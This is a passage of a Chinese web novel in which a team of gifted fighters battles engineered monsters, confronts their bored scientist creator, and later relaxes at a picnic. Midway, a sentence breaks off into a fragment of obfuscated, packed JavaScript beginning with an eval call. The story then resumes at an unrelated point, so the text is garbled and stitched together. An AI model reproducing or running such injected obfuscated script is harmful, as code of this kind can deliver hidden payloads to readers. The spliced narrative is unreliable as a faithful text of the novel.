“结束了?”陆时忆还有点不敢相信,“这就……结束了?” 阳光透过林叶的缝隙洒下来,落在众人身上。水雾已经散去,空气里那股腥甜味也淡了许多。远处的村落传来隐约的鸡鸣犬吠,平静得仿佛什么都没有发生过。 江淮年躺在地上,看着头顶摇晃的树影,长长地舒了口气。 沈言坐在他旁边,低头看了看自己愈合的伤口,又看了看江淮年,忽然开口:“谢谢。” 江淮年转头看他,咧嘴一笑:“不客气,小绿毛。” 沈言没像往常那样怼回去,只是轻轻“嗯”了一声。 陆时忆凑过来,眼睛亮晶晶的:“喂喂,你们看见没?我最后那道电击,准不准?直击要害!” “准,准得很。”宋听澜笑眯眯地递给他一瓶水,“喝点水,补补水。” 时聿在擦拭短刃,墨镜后的目光扫过众人,没说话,但嘴角似乎微微扬了扬。 裴衍站起身,活动了一下左臂,已经完全恢复了。他看着地上那滩黏液,又看了看远处安静的村落,低声道:“回去吧。” 众人起身,收拾行装,踏上归途。 前方还有更多挑战,更多危险。但至少这一刻,他们并肩作战,他们赢了。 静园就在前方。江妤还在等他们回家。 11. 厌世哥与他糟心的试验品 水母事件后,静园过了几天安生日子。裴衍的胳膊彻底好了,又开始恢复每天睡到日上三竿的优良传统。 陆时忆变本加厉地围着江妤转,虽然百分之九十的时间都在收获白眼。 日子好像又回到了之前那种吵吵闹闹又还算平静的状态。直到宋听澜某天傍晚从药房出来,手里拿着份分析报告。 “那黏液里有生物改造的痕迹,而且是很高级的那种,不是自然变异。” 所有人都围了过来。 报告上写满了专业术语和化学符号,看得人眼晕。 但结论那一行字大家都看懂了:该生物体内存在非自然基因序列片段,疑似人为植入并诱导。 “人为的?”陆时忆抓抓头发,“谁这么无聊,造个会飞的水母出来吓人?” “不是无聊,是实验。而且从基因序列的稳定性和表达效果来看,这实验已经进行了相当长的时间,技术相当成熟。” 沈言盯着报告:“意思是,还有更多?” “可能性很大。”宋听澜点头,“而且可能……越来越强。” 这话像一块石头砸进水里,让所有人都沉默了。如果那些恶心危险的异变体不是自然产生的,而是被人为制造出来的,那背后的人想干什么? 造出更强的怪物,然后呢? 毁灭世界?统治人类?还是单纯觉得好玩? 没人知道答案。 但之后几天,静园的氛围明显紧绷了许多,坏消息接踵而至。 先是北边一个村子报告说发现了“会钻地的石头人”,力大无穷,刀枪不入,把村口的老井都给砸塌了。裴衍和时聿赶过去,花了大力气才把那东西打碎,发现核心是一块黑色跳动的石头,碎掉之后散发出一股恶臭的毒气,差点把两人熏晕过去。 紧接着西边山林里出现了“吐酸雨的蜗牛”,外壳硬得离谱,普通攻击根本打不破,得用特定频率的声波才能震碎。 陆时忆被派去处理,回来的时候头发被酸雨烧焦了一撮,气得他三天没照镜子。 而最近又出现了种怪物,是一个“长得像记忆里死去之人的幽灵”,碰一下就会让人失忆。 宋听澜研究了半天,最后发现那东西怕强光,尤其怕光系异能。 可惜他们这群人里没一个会发光的,最后是江淮年用火系异能硬烧,配合沈言用雷系制造强闪光,才勉强把那玩意儿净化掉,过程中江淮年还不小心碰到了一下,差点把昨天晚饭忘了。 这些怪物按陆时忆的吐槽来讲就是一个比一个丑。 而且一个比一个难对付,明显是同一个路子出来的。 生物改造,人为制造,目的不明。 众人像救火员一样东奔西跑,累得够呛,但怪物的出现频率却越来越高,种类也越来越杂。 “这不对劲。”某天晚上,所有人聚在院子里吃饭时,裴衍难得主动开口,声音里带着掩饰不住的疲惫,“太密集了,像有人在故意投放,测试效果。” “测试什么效果?”江淮年往嘴里扒拉米饭,含糊不清地问。 “测试怪物的战斗力,测试我们的应对能力,测试承受极限。”宋听澜接话,他面前摆着厚厚一叠报告,都是这段时间收集的数据,“你们发现没,这些怪物虽然难对付,但都没有造成大规模伤亡。它们更像是在挑衅,或者说,试探。” 如果真是这样,那幕后之人的实力该有多恐怖?能批量制造这种怪物,还能精准投放到不同地点,观察他们的反应……这已经不是普通的疯狂科学家能解释的了。 “得把这个人揪出来。”陆时忆咬牙切齿,“不然没完没了,烦死了,我现在的头发丑的没法看!” 江淮年翻了个白眼:“你以为平常的就很好看吗?” “怎么揪?”时聿推了推墨镜,自然打断又一场争吵。 没人回答。敌在暗,他们在明,对方还能制造怪物,他们只能被动应对,这仗怎么打? 最后萧予开口:“等。” “等?”江淮年不解。 “等他自己露出马脚。”萧予说,“这种大规模高频率的投放,不可能毫无痕迹。只要他继续,就一定会留下线索。我们要做的,是保存实力,收集信息,然后……” “一击必杀。” 于是他们开始了漫长的等待和追踪。每一次怪物出现,他们不仅要去消灭,还要尽可能收集样本,记录战斗数据,分析怪物的弱点和行为模式。裴衍和时聿负责追踪怪物的来源,陆时忆和宋听澜负责数据分析和样本研究,江淮年和沈言则作为机动战力,哪里需要往哪搬。 江妤开始学习基础的战斗技巧,毕竟治疗这一块对她而言早已不是什么难事了,有次陆时忆被酸雨腐蚀了半边肩膀,就是她用水雾一点点清理愈合才没留下永久性损伤。 陆时忆感动得眼泪汪汪,说江妤妹妹你就是我的救命恩人我以后做牛做马报答你,被江妤一句“闭嘴,吵死了”怼了回去。 日子在紧张和忙碌中过去。夏天来了,静园里的蝉鸣吵得人心烦。江淮年和沈言的对练已经从单纯的能量碰撞升级到了战术配合,两人一个冰火交织范围轰炸,一个混合精准点杀,配合越来越默契,有时候甚至不用说话,一个眼神就知道对方想干什么。 陆时忆为此很是不忿:“你俩什么时候背着我好上的?默契度这么高!” 沈言回他一个字:“滚。” 江淮年更直接,一团火球砸过去,差点把陆时忆新长出来的头发又烧了。 就这么打打闹闹,东奔西跑了小半年,线索终于来了。 一个闷热的午后。 裴衍和时聿带回了一个坏消息, 和一个更坏的消息。 坏消息是:他们追踪到最近一批怪物的投放源头了,在西南方向两百公里外的一片废弃工业区。 更坏的消息是:那片工业区里,监测到了远超之前所有怪物的能量反应。 “不是单个怪物,是很多个,而且能量波动很杂。像一锅大杂烩。” “大杂烩?”江淮年没听懂。 “就是什么都有。”裴衍解释,他看起来更累了,眼底有浓重的黑眼圈,“全都挤在一个地方,能量场乱得一塌糊涂。” 所有人都沉默了。一个怪物就够难对付了,一群?还是属性混杂的一群? 但若不去,等那些东西全跑出来,方圆百里都会变成地狱。 事不宜迟,当天下午他们就出发了。 工业区的空气中弥漫着浓重的铁锈味和某种难以形容的腥臭,地面随处可见干涸的黑色污渍,像是干涸的血,又像是什么东西留下的黏液。 能量反应来自最深处的厂房。 越靠近,那种混杂的能量场就越强烈。江淮年甚至能感觉到自己体内的冰火之力在躁动,像被什么东西牵引着要破体而出。 沈言的情况更糟,他脸色发白,额头渗出冷汗,几种元素在他体内横冲直撞,几乎要失控。 “稳住。这些能量场在干扰你们的异能,集中精神,别被带偏了。” 厂房的大门虚掩着,里面黑漆漆的。内部比外面看起来更大。挑高的穹顶上垂落着锈蚀的管道,地面堆积着废弃的机器和零件。而最让人头皮发麻的,是厂房中央那个东西。 那是个……很难形容的玩意儿。 它大约有三层楼高,主体像个臃肿的肉瘤,表面布满了蠕动着的包。 下方是几十条腿,支撑着它庞大的身躯。 而在顶端,镶嵌着无数颗眼睛。 真的是眼睛,人类的、动物的、甚至昆虫的复眼,密密麻麻,全都睁开着,无神地转动着,看向不同的方向。 “我靠……”陆时忆张大了嘴,“这什么玩意儿?克苏鲁亲戚?” 没人回答他。所有人都被眼前这景象震撼得说不出话。 肉瘤似乎察觉到了入侵者,顶端的眼睛齐刷刷转了过来,聚焦在他们身上。下一秒,所有包同时炸开。 五花八门的攻击像暴雨一样砸下来!整个厂房瞬间变成了元素地狱。 裴衍迅速发动异能:“散开!”土墙瞬间升起,挡住最密集的一波攻击。但只撑了三秒就崩碎了,那些攻击的威力远超想象。 时聿已经潜入阴影,试图从侧面接近,但那东西的腿忽然抬起,重重踏下,震波让整个厂房都在摇晃,时聿被迫现身,踉跄后退。 陆时忆的电光打在它上面,只留下一个焦黑的印记,瞬间就被新生的包覆盖。宋听澜的藤蔓刚缠上去就被烧成灰烬。 江淮年和沈言同时出手,成功炸开了两个大洞,黑色黏液喷涌而出。 但洞口的血肉疯狂蠕动,以肉眼可见的速度愈合,不到十秒就恢复如初。 这怎么打? 这东西恶心的像开了挂。 攻击跟不上愈合速度,防御又挡不住那么多种类的元素轰炸。几个人被逼得节节后退,只能勉强护住自己不被击中。 “找核心!这种缝合怪肯定有核心!找到它,破坏它!” 说得容易,但这玩意那么大,包那么多,眼睛密密麻麻,谁知道核心藏在哪儿? 战斗陷入僵局。几个人狼狈地躲避着攻击,偶尔反击,但收效甚微。 江淮年的胳膊被冰锥擦过,划开一道口子,鲜血直流。沈言的肩膀被电光击中,半边身子都麻了。江妤的水雾一刻不停地治疗着,但伤口太多,恢复速度远远跟不上受伤速度。就在所有人以为要撑不住的时候,那东西忽然停了下来。 不是停止攻击,而是所有动作都停了。 包不再炸开,眼睛不再转动,腿也不再移动。 它就那么静静地矗立在厂房中央。 然后,一个声音响了起来。 “就这点本事吗?” 声音很年轻,带着点……失望? 所有人都愣住了。这声音不是从肉瘤里发出来的,而是从厂房二楼的一个控制台方向传来的。那里原本堆满了废弃的机器,此刻却被清理出一块空地,摆着一张看起来很舒适的扶手椅。 椅子上坐着一个人。 看起来二十出头,翘着二郎腿,一只手支着下巴,正饶有兴致地看着下面这场混战。 他长得出人意料的很好看。 冷淡又带着点厌世感。 头发是黑色,眼睛是浅灰色,像蒙了一层雾,没什么情绪。 他就那么坐着,看着下面狼狈的几个人,脸上没什么表情,但眼神里那种“啊好无聊”的意味几乎要溢出来。 “你是谁?”裴衍沉声问,手已经按在了腰间的短刀上。 年轻人没回答,而是站起身,慢悠悠地从二楼走下来。 他的动作像在自家后院散步一样随意,完全没把下面那个三层楼高的肉瘤怪物放在眼里。 他走到肉瘤旁边,伸手拍了拍那恶心的表面,像在拍自家宠物的脑袋。 “我养的。还不错吧?集合了十几种元素属性,几百多个实验体的精华。就是丑了点,但实用。” 所有人都觉得后背发凉。养?这种怪物是能养的吗? “那些水母、石头人、蜗牛、幽灵……都是你弄出来的?”宋听澜问,声音还算平静。 “嗯。”年轻人点点头,“小玩具,测试一下数据。结果嘛……”他扫了几人一眼,“马马虎虎吧。比普通人强点,但也就那样。” 这话说得太欠揍了。 陆时忆当场就炸了:“马马虎虎?你管那叫小玩具?你知道我们为了对付那些玩意儿费了多大劲吗?!” 年轻人瞥了他一眼:“费劲说明你们弱。” “你!” “你是椁於?”一直没说话的时聿突然开口。 椁於挑了挑眉:“你认识我?” “听人提过。没想到你躲在这里。” 椁於轻轻笑了。 那笑容很淡,没什么温度:“躲?我只是找个安静的地方做实验而已。” “用这些怪物找事做?”沈言的声音冷得像冰,“你知道它们杀了多少人吗?” “知道啊。”椁於回答得理所当然,“实验总要有牺牲品嘛。而且那些人死了,跟我也没关系,是怪物杀的,不是我。” 这逻辑简直让人火大。 江淮年拳头都硬了。 “你的目的是什么?”萧予问。 “目的?”椁於歪了歪头,似乎真的在思考,“一开始是想造点有趣的东西玩玩。后来嘛,想看看这个世界到底能承受多少异常。再后来……”他顿了顿,浅灰色的眼睛扫过众人,“想看看有没有人能阻止我。” 他指了指身后的肉瘤:“这是目前最成功的作品,我管它叫混沌。理论上没有弱点。但实战还没试过。你们要试试吗?” 试试?试什么?跟这个肉瘤打?开什么玩笑! “我们不是你的实验品。”裴衍说。 “但现在你们是了。”椁於的语气依旧平淡,“要么打败混沌,要么被混沌打败。二选一,很简单。” 说完,他打了个响指。 混沌动了。 比之前更快,更狂暴,所有包同时鼓胀,然后炸开。 “不能硬拼!”宋听澜喊道,“找核心!肯定有核心!” 陆时忆一边狼狈地躲闪着混合攻击一边吼,“这么大一坨,核心在哪儿?!” 沈言忽然开口,死死盯着混沌肉瘤的顶端,“那些眼睛中间!” 众人顺着他指的方向看去。在密密麻麻的眼睛中央,有一个不起眼的黑色晶体,被层层血肉包裹着,只露出一点边角。 “攻击那里!” 混沌似乎察觉到了他们的意图,所有攻击都集中在了眼睛周围,形成了一个密不透风的防御网。 别说攻击核心了,连靠近都做不到。 “我去。”时聿忽然说。他推了推墨镜,身形一晃,融入阴影,试图从地面潜行过去。 但混沌的腿猛地抬起,重重踏下。 震波让整个厂房都在摇晃,时聿被迫从阴影中现身,一口血喷了出来。 “不行!它感应得到地面震动!” “那从上面!”江淮年抬头看向穹顶,“从上面攻击!” “我送你上去!”裴衍双手按地,一根土柱拔地而起,托着江淮年冲向穹顶。 快了,就差一点…… 然而几条藤蔓触手闪电般射来,缠住土柱,用力一绞,土柱崩碎,江淮年从半空摔下,被沈言接住,两人滚成一团。 “妈的。”江淮年骂了一句,胳膊上的伤口又裂开了,鲜血直流。 江妤的水雾及时笼罩过来,伤口开始愈合,但速度很慢。她的异能快耗尽了,脸色白得像纸。 难道真的要栽在这里? 就在这时,椁於忽然开口了:“嗯……差不多了。” 什么差不多了? 只见他慢悠悠地走到控制台边,按了几个按钮。 混沌的动作忽然慢了下来,攻击也变得稀疏拉拉。 “数据收集够了。”椁於看着屏幕上的曲线图,语气里带着点满意,“啧,续航还是不行,得改进。” 他完全无视了下面如临大敌的几个人,自顾自地记录着数据,然后按下了另一个按钮。 混沌庞大的身躯忽然剧烈颤抖起来。表面的包开始萎缩,眼睛一个个闭上,腿也开始收缩。 短短十几秒,那个三层楼高的怪物就缩水成了一团烂肉,瘫在地上不动了。 “行了,测试结束。”椁於关掉屏幕,转身看向目瞪口呆的几个人,“你们赢了,虽然赢得很勉强。” “你……”陆时忆张了张嘴,不知道该说什么。 “我什么我?”椁於耸耸肩,“实验做完了,数据拿到了,这东西没用了。你们要处理就处理吧,反正我也懒得收拾。” 他说得那么理所当然,仿佛刚才那场生死搏斗只是一场无关紧要的游戏。 “你不怕我们杀了你?” “杀我?”椁於笑了笑,那笑容里没什么情绪,“随便啊。我觉得,至少目前看来,你们还没有这个能力。” 这话说的极其装逼。偏偏也没人能反驳。 “这个世界挺无聊的。没意思,真的。你们走吧。今天的事,就当没发生过。混沌的核心在那边,”他指了指那团烂肉,“打碎它,这玩意儿就彻底死了。至于我……” “我自己会处理。” 说完,他不再看他们,而是走回控制台,开始收拾东西。 那架势,是真的准备离开了。 这下几个人是真有点懵了。椁於这人什么意思? 打?对方好像没有敌意了,而且他们确实也打不过。 不打?刚才差点被他的宠物弄死。而且他那些话是什么意思?自己处理? 最后裴衍先走到混沌的尸体旁,找到了那颗黑色晶体,一掌拍碎。 晶体碎裂的瞬间,那团烂肉迅速干瘪风化,最后化为一堆灰烬。 “我们走吧。” 裴衍最后看了眼椁於,随后跟着其他人离开了厂房。 夕阳西下,把他们的影子拉得很长。厂房里,椁於还在慢悠悠地收拾东西,像在准备一次寻常的搬家。 回静园的路上,没人说话。每个人都憋着一肚子疑问和火气,但不知道该怎么发泄。 直到车子开进静园,江妤才小声问了一句:“那个人到底想干什么?” 没人能回答。 几天后,宋听澜再次去了那片工业区。 厂房已经空了,控制台和仪器都不见了,连张纸片都没留下。椁於就像从未出现过一样,消失得干干净净。 又过了半个月。 打从工业区回来之后,静园里那股紧绷的劲儿松了大半。 倒不是彻底放松了,主要是累的。 跟那个缝合怪打了一架,每个人都挂彩,回来躺了三天才缓过劲儿来。 裴衍的懒劲儿彻底回归,每天不到中午绝不起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“姐姐天赋挺好的,但性子独,不爱跟那些异能者打交道。结果也不知道怎么的,就跟那群人结了仇。有天那群人找上门,说姐姐修炼邪术,危害社会,要清理门户。” “然后呢?” “然后就打起来了呗。”陆时忆叹气,“姐姐一个人打七八个,最后力竭,死了。那群人走的时候还放话,说这是为民除害,死有余辜。” “那弟弟呢?”江淮年问。 “失踪了。”陆时忆摇头,“有人说他疯了,有人说他跳河了,也有人说看见他往深山里去了。反正再也没人见过。 宋听澜放下筷子,轻声问:“那姐姐……叫什么名字?” “不知道,没人提名字,就说是个挺漂亮的姑娘,头发长长的,眼睛很亮。不过我听那些老人说,她弟弟那时候才十来岁,瘦瘦小小的,总跟着姐姐后面,也不爱说话。” 江淮年忽然想起在厂房里,椁於那双灰蒙蒙眼睛,还有那句“这个世界挺无聊的”。 “所以他造那些怪物……”江妤小声说,“是为了报仇?” 裴衍难得开口:“不像。真想报仇,直接去找当年那些人就行了,没必要搞这么大阵仗。” “那是为什么?”陆时忆不解。 “可能是想证明点什么吧。或者纯粹就是觉得这个世界烂透了。” 那天晚上,江淮年翻来覆去睡不着。 他爬起来,推开窗户,看着外面黑漆漆的院子。 月光很淡,洒在青石板路上,像一层薄薄的霜。 他想起椁於最后说的那句话,“我自己会处理”。 处理什么?处理那些实验数据?处理那个厂房?还是处理他自己? 江淮年不知道。 但他有种感觉,椁於可能再也不会出现了。 第二天,萧予把所有人都叫到书房。 老人面前摊着一张地图,上面用红笔圈出了几个地方。 “西南工业区的事,暂时告一段落。但那些怪物造成的破坏还在,附近的村镇人心惶惶,我们需要去做些善后工作。” 善后工作,说白了就是清理残留的怪物尸体,安抚受惊的村民,顺便看看有没有什么后续影响。 任务不算难,就是琐碎。忙忙碌碌了一个多星期,总算把几个地方的烂摊子收拾得差不多了。回静园的路上,几个人都蔫了吧唧的,话都懒得说。 “这叫什么事儿啊。”陆时忆瘫在车后座,有气无力,“打架的是我们,擦屁股的还是我们。那个椁於倒好,拍拍屁股走人了,留一堆麻烦。” “不然呢?”裴衍闭着眼养神,“你还想找他报销劳务费?” “那倒不是……就是觉得憋屈。” 是挺憋屈的。但憋屈也没办法,事情已经发生了,总得有人收拾。 回到静园,江妤已经准备好了热水和饭菜。几个人洗了澡,换了干净衣服,围在饭桌前狼吞虎咽。 “还是家里舒服。”江淮年扒拉着米饭,含糊不清地说。 “家?”沈言挑了挑眉。 “怎么,这儿不是你家?”江淮年反问。 沈言没说话,低头吃饭,但耳根子有点红。 饭后,几个人聚在院子里闲聊。月色很好,风吹着银杏叶子沙沙响。 “你们说,”陆时忆忽然开口,“那个椁於,现在在哪儿呢?” 没人知道。可能躲在哪个角落里继续他的疯狂实验,可能已经离开了这片区域,也可能真的像他说的那样,自己处理了。 “不管在哪儿,”裴衍打了个哈欠,“别再来找麻烦就行。我懒得再跟他那些丑八怪打架了。” “同意。”时聿言简意赅。 宋听澜笑眯眯地递过来一盘水果:“吃点,润润喉。” 江妤坐在廊下,看着他们斗嘴,嘴角微微扬了扬。 日子好像又回到了正轨。训练、吃饭、睡觉、偶尔拌嘴。西南工业区的事渐渐成了茶余饭后的谈资,偶尔提起,也是“那个疯子”“那些丑八怪”之类的代称。 但江淮年能感觉到大家之间的默契更深了。不用多说,一个眼神就知道该怎么配合。 就这样又过了两个月。秋天来了,银杏叶子开始泛黄,风里带着凉意。 某天下午,江淮年去市集买东西,听见几个老人在茶馆里聊天。聊着聊着,就聊到了十几年前西南工业区那对姐弟。 “那姑娘可惜了,”一个白发老人摇头,“多好一孩子,就是性子倔,不肯服软。” “那群人也不是什么好东西,打着正义的旗号,干的都是排除异己的勾当。那姑娘就是太出头了,挡了他们的路。” “她弟弟后来呢?真找不着了?” “找啥啊,估计早没了。那么小一孩子,亲眼看着姐姐死在面前,能不疯吗?” 江淮年站在茶馆外,听着那些零零碎碎的讲述,心里说不上是什么滋味。 他忽然有点理解椁於了,如果换作是他,亲眼看着江妤死在自己面前,而杀人者还趾高气扬地说这是正义,他可能也会疯,也会想毁了这一切。 但理解归理解,该做的还得做。 那些怪物害了人是事实,椁於放任不管也是事实。错了就是错了,没得洗。 买完东西回到静园,江淮年把听到的跟大伙儿说了说。饭桌上沉默了一会儿。 “所以他就是想报复社会?” “也不全是。”宋听澜想了想,“可能一开始是恨,恨那些害死他姐姐的人,恨这个不公的世界。 但恨着恨着,就麻木了,觉得什么都没意思了,于是开始搞那些实验,一半是报复,一半是找点乐子?” 这个解释听起来更合理。但不管是哪种,都改变不了他害死很多无辜者的事实。 “行了,别琢磨了。”裴衍摆摆手,“人都走了,琢磨这些有啥用。吃饭吃饭,菜都凉了。” 也是。人都找不着了,想再多也没用。 等秋中时,萧予把所有人都叫到跟前,说要检验一下这几个月的修炼成果。 检验方式很简单。跟萧予打。 “你们一起上,能碰到我就算你们赢。” 几个人面面相觑。 一起上?打师父?这能行吗? 结果当然是不行。 几个人轮番上阵,异能齐出,把训练场炸得乌烟瘴气,但连萧予的衣角都没摸到。 他就像一阵风,在密集的攻击中穿梭自如,轻轻一点就能破掉他们的攻势。 打了半个时辰,他们累瘫在地,萧予还气定神闲地站着。 “还行,比几个月前强了不少。但配合还是生疏,时机把握不准。” 他挨个点评了一遍,萧予最后总结:“继续练。什么时候能碰到我,什么时候算入门。” 几人躺在地上,看着头顶湛蓝的天,同时叹了口气。 任重而道远啊。 12. 野餐大作战 静园里那棵老银杏树的叶子彻底黄透了。陆时忆蹲在树下扒拉落叶,扒着扒着忽然蹦起来,眼睛亮得跟什么似的:“这么好的天!咱们去野餐吧!” 当时正是午后,裴衍刚睡醒午觉靠在廊柱上打哈欠,闻言眼皮都懒得抬:“不去,麻烦。” “去嘛去嘛!”陆时忆蹿到他跟前,“你看这天气,不冷不热,阳光明媚,秋风送爽……” “说人话。” “我馋王婆的烧鸡了,顺便去后山那片空地烤红薯。” 裴衍终于撩起眼皮看了他一眼:“你只是想找个理由偷懒不训练吧。” “怎么可能!我是那种人吗?我是觉得咱们这段时间太紧绷了,需要放松放松!劳逸结合懂不懂?师父都说了,修行要张弛有度!” 这时江淮年正和沈言从训练场回来,两人都是一身汗。 听见这话,江淮年抹了把额头:“野餐?行啊,我同意。” 沈言瞥他一眼:“你同意什么,你只是想吃烤红薯吧。” “不行吗?”江淮年理直气壮,“训练这么累,吃点好的怎么了?” 宋听澜从药房探出头,笑眯眯的:“野餐好啊,我那儿还有几包新配的调味料,烤东西肯定香。” 时聿不知从哪个阴影里冒出来,简短吐出两个字:“可以。” 江妤本来在院子里练水球操控,闻言收了手:“谁负责准备东西?” 陆时忆立刻举手:“我我我!烧鸡我买!红薯我背!柴火我捡!” “你一个人拿得动吗?”江淮年挑眉。 “不是还有你们嘛!”陆时忆嘿嘿笑,“走走走,现在就出发,再晚王婆家的烧鸡该卖完了!” 于是本来只是陆时忆一时兴起的提议,莫名其妙就变成了集体活动。 裴衍虽然嘴上说着麻烦,但也没真反对,慢悠悠地回屋换了身方便活动的衣服。 时聿去厨房打包了碗筷和调料。宋听澜除了调味料,还带了些晒干的草药,说烤东西的时候撒点能提味。 江淮年和沈言负责背柴火和红薯,陆时忆倒是想表现,结果一趟背不了多少,最后还是他俩分摊了大头。江妤拎了个竹篮,里面装了水和一些水果。 一行人浩浩荡荡就出去了。 王婆的烧鸡铺子在镇子口,老远就闻到香味。陆时忆冲过去买了三只,又顺带买了些卤豆干和酱菜,用油纸包得严严实实,然后拎着东西美滋滋地跑回来。 “你是把人家铺子搬空了吧。”沈言看着那一大堆油纸包。 “这叫有备无患!万一不够吃呢?” 后山那片空地在半山腰,离静园不算远,走个一刻钟就到了。地方挺宽敞,地面平整,周围是稀稀拉拉的松树林,风一吹,松涛阵阵,确实是个野餐的好地方。 陆时忆把东西往地上一放,就开始张罗着生火。结果鼓捣了半天,火星子都没冒一个,倒是把自己熏得够呛。 “让开。”沈言看不下去,把他拎到一边,蹲下身,掌心凝聚出一小团能量球,往柴堆里一塞。柴火嗤啦一声就着了,火苗蹿得老高。 陆时忆眼睛都直了:“还能这么用?” 沈言拍拍手上的灰,顺带翻了个白眼:“基本操作。” 江淮年已经在旁边挖坑了,烤红薯得埋火堆下面才香。裴衍找了块平整的石头坐下,继续打他的哈欠。时聿不知从哪儿摸出把小刀,开始削树枝,削尖了串肉串。宋听澜把调味料一样样摆出来,瓶瓶罐罐铺了一地。江妤则从篮子里拿出水壶和水果,整整齐齐摆好。 火生起来了,红薯埋进去了,烧鸡和肉串架在火上烤。油脂滴进火堆,发出滋滋的响声,香味很快飘散开。陆时忆蹲在火堆边,眼睛直勾勾盯着烧鸡,就差流口水了。 “还没熟。”江淮年把他往后拽了拽,“急什么。” “我饿,”陆时忆理直气壮,“早上训练那么累,中午就吃了两碗饭,根本不够!” “你哪天吃够过?”沈言嗤笑。 “沈言你这话就不对了,我这是——” “闭嘴。”裴衍打断他,“吵。” 陆时忆委委屈屈地闭上嘴,但眼睛还是盯着烧鸡。 等待的时间总是漫长。江淮年闲不住,捡了根树枝在地上画画。沈言坐在他旁边,看了一会儿,评价:“丑。” “你行你上。”江淮年把树枝递给他。 沈言没接,而是从旁边折了根更细的,在地上划拉几下,勾勒出一只栩栩如生的麻雀。 江淮年:“……” 装啥逼。 “厉害啊沈言!”陆时忆凑过来,“没想到你还有这手!” “以前没事的时候画的。”沈言语气淡淡,但嘴角微微扬了一下,显然很受用。 裴衍也瞥了一眼,评价:“还行。” 时聿削好了树枝,开始串肉。他的动作很快,手指灵活,肉块大小均匀,串得整整齐齐。宋听澜凑过去看,赞叹:“时聿你这刀工,不学厨可惜了。” 时聿没说话,只是又削了一根树枝递给宋听澜,意思是“你也试试”。 阳光透过稀疏的松枝洒下来,暖洋洋的。 也让人昏昏欲睡。 裴衍已经靠在石头上眯起了眼睛,呼吸均匀,像是睡着了。 红薯先烤好了。江淮年用树枝从火堆里扒拉出几个黑乎乎的家伙,放在地上晾着。陆时忆等不及,伸手去抓,被烫得嗷嗷叫,捏着耳朵原地跳脚。 “活该。”沈言毫不留情地嘲讽。 江淮年用布包着红薯,小心剥开焦黑的外皮。里面金黄色的瓤露出来,冒着热气,甜香扑鼻。他掰了一半给沈言,沈言接过去,吹了吹,小口小口吃起来。 “唔……好吃!”陆时忆终于剥好了自己的,咬了一大口,烫得直抽气也不舍得吐出来,含含糊糊地夸。 裴衍被吵醒了,慢吞吞地坐起来,也拿了个红薯。他吃相倒是斯文,剥皮,掰开,一小口一小口,不像陆时忆那样狼吞虎咽。 又过了会,时聿把烤得外焦里嫩的鸡肉从火上拿下来,宋听澜撒上调味料。鸡肉表面滋滋冒油,香料的味道混着肉香,勾得人食指大动。 “开饭开饭!”陆时忆率先撕了个鸡腿,咬了一大口,满足得眼睛都眯起来了。 等吃饱喝足,陆时忆摸着圆滚滚的肚子瘫在草地上,感叹:“人生啊,就该这样,有肉吃,有太阳晒,有……” “有训练要做。”沈言泼冷水。 “你别扫兴行不行!”陆时忆哀嚎。 江淮年也躺下了,双手枕在脑后,看着头顶湛蓝的天,脑子也不知道在想什么。 “欸,咱们玩点什么吧?”陆时忆忽然又坐起来,眼睛滴溜溜转,“就这么干躺着多无聊。” “你想玩什么?”江淮年问。 “真心话大冒险!” 这话一出,几道目光齐刷刷射向他。 “陆时忆,”裴衍慢吞吞地说,“你几岁了?” “十八!正青春!”陆时忆挺胸。 “十八岁还玩这个?” “怎么不能玩了!多好玩啊!难道你们不敢?” “激将法没用。”沈言嗤笑。 “就是不敢呗。”陆时忆故意拉长声音。 “玩就玩。”江淮年坐起来,“谁怕谁。不过得定规矩。” “什么规矩?” “第一,不能问太过分的问题。第二,大冒险不能涉及人身安全。第三,谁要是玩不起,趁早退出。” “同意!”陆时忆立刻举手。 沈言挑了挑眉:“行。” 裴衍打了个哈欠:“随你们。” 时聿点了下头。 宋听澜笑眯眯的:“听起来挺有趣的。” 江妤本来想说不玩,但看大家都答应了,也只好点头:“好吧。” 陆时忆立刻从地上爬起来,找了根树枝,掰成几截,长短不一:“抽签!抽到最短的接受惩罚,最长的人出题!惩罚方式由出题人定,真心话或者大冒险!” 他把树枝握在手里,只露出顶端。几个人轮流抽。 第一轮,时聿抽到最短的,陆时忆最长。 “哈哈哈!”陆时忆得意洋洋,“时聿你也有今天!选吧,真心话还是大冒险?” 时聿推了推墨镜:“真心话。” “好!”陆时忆眼珠一转,“那你最怕什么?” 这个问题问出来,所有人都看向时聿。时聿平时冷冰冰的,话又少,实在很难想象他会有怕的东西。 时聿沉默了几秒,吐出两个字:“蜘蛛。” “噗——”陆时忆没忍住笑出声,“影系异能者怕蜘蛛?哈哈哈哈笑死我了时聿你真是……” 时聿冷冷扫他一眼,陆时忆立刻闭嘴,但肩膀还在抖。 第二轮,江淮年抽到最短的,沈言最长。 “报应啊。”沈言看着手里的长树枝,嘴角勾起一个不怀好意的笑,“江淮年,选吧。” 江淮年瞪他:“你别太过分。” “放心,我很仁慈的。”沈言微笑,“真心话还是大冒险?” 江淮年权衡了一下。 选真心话,不知道沈言会问什么刁钻问题。 选大冒险,更不知道这家伙会出什么馊主意。 最后心一横:“真心话!” “好。”沈言清了清嗓子,“你第一次尿床是几岁?” “噗——”这回不止陆时忆,连裴衍都呛了一下。宋听澜忍俊不禁,江妤别过脸,肩膀微微抖动。 江淮年脸都绿了:“沈言你!” “快说,几岁?”沈言好整以暇。 “……三岁。”江淮年咬牙切齿。 “哦——”陆时忆拉长声音,“三岁啊——” “闭嘴!”江淮年抓起一块土疙瘩砸过去,陆时忆笑着躲开。 第三轮,江妤抽到最短的,宋听澜最长。 江妤脸有点红,小声说:“我选真心话。” 宋听澜依旧笑眯眯的,问题倒是很温和:“江妤妹妹最喜欢静园的哪个人?” 这个问题一出,几道目光又齐刷刷射向江妤。 陆时忆眼睛瞪得溜圆,屏住呼吸等着答案。 江妤抿了抿唇,看了看众人,最后低声说:“都喜欢。” “诶——”陆时忆失望地拖长声音,“这不等于没说嘛!” “怎么没说?”江妤瞪他,“就是都喜欢,不行吗?” “行行行,你喜欢就好。”陆时忆蔫了。 第四轮,裴衍抽到最短的,时聿最长。 裴衍懒洋洋地说:“大冒险。” 时聿想了想,指了指远处一棵松树:“爬上去,摘个松果下来。” 